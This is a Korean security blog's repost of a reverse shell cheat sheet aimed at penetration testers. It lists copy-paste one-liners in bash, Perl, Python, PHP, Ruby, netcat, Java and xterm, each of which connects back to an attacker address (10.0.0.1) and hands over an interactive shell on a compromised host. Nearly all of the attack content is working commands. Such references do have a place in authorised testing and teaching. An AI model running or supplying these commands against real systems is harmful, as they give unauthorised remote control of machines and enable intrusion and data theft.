- 전체
- 보안뉴스
- 제로데이취약점
- 해킹프로그래밍
- 웹해킹
- 해킹기법
- 정보보호
- 정보보안기사 - 국가기술자격
- 악성코드분석_리버싱
- 시큐어코딩_개발보안진단원
- CISSP
- CISA
- 모의해킹_penetration-test
- deepweb / tor network
- Kali Linux
모의해킹_penetration-test 역쉘공격 - Reverse Shell Cheat Sheet
2014.11.10 18:02
Reverse Shell Cheat Sheet
[출처] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'There’s also an alternative PERL revere shell here.
Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
[Untested submission from anonymous reader]
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
Further Reading
Also check out Bernardo’s Reverse Shell One-Liners. He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.
There’s a reverse shell written in gawk over here. Gawk is not something that I’ve ever used myself. However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.
Tags: bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm
Posted in Shells
광고 클릭에서 발생하는 수익금은 모두 웹사이트 서버의 유지 및 관리, 그리고 기술 콘텐츠 향상을 위해 쓰여집니다.
댓글 0
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 수 |
|---|---|---|---|---|
| 공지 | 침투테스트(취약점검점검, 모의해킹) 문의 / 답변 | 졸리운_곰 | 2017.12.10 | 28357 |
| 13 |
[selenium driver를 차단한 사이트의 selenium 접속] How to avoid Selenium webdriver from being detected as bot or web spider
| 졸리운_곰 | 2021.11.27 | 367 |
| 12 |
[웹해킹] iframe Injection
| 졸리운_곰 | 2020.05.10 | 205 |
| 11 |
WebHacking - File Upload 취약점 (우회), Web SHell(웹 쉘)
| 졸리운_곰 | 2018.02.17 | 392 |
| 10 |
WebHacking - PHP File Upload 취약점, 웹 서버 글로벌 설정 파일
| 졸리운_곰 | 2018.02.15 | 492 |
| 9 |
HTTP 응답 분할(HTTP Response Splitting, CRLF) 취약점
| 졸리운_곰 | 2017.04.25 | 915 |
| 8 | CSRF | 졸리운_곰 | 2017.04.09 | 339 |
| 7 |
CSRF공격
| 졸리운_곰 | 2017.04.09 | 6622 |
| 6 |
SQL Injection 공격과 방어 방법 - php, asp 등
| 졸리운_곰 | 2017.01.17 | 1475 |
| 5 |
sqlmap으로 SQL 인젝션 공격 Exploiting A Tricky SQL Injection With sqlmap
| 졸리운_곰 | 2014.11.10 | 563 |
| 4 |
XSS 공격 자료
| 졸리운_곰 | 2014.11.10 | 401 |
| 3 |
w2af 사용자 메뉴얼
| 졸리운_곰 | 2014.10.31 | 321 |
| 2 |
WebGoat 설치와 시작 [웹 해킹 실습]
| 졸리운_곰 | 2014.10.29 | 1646 |
| 1 |
GUI for sqlmap
| 졸리운_곰 | 2014.10.08 | 294 |

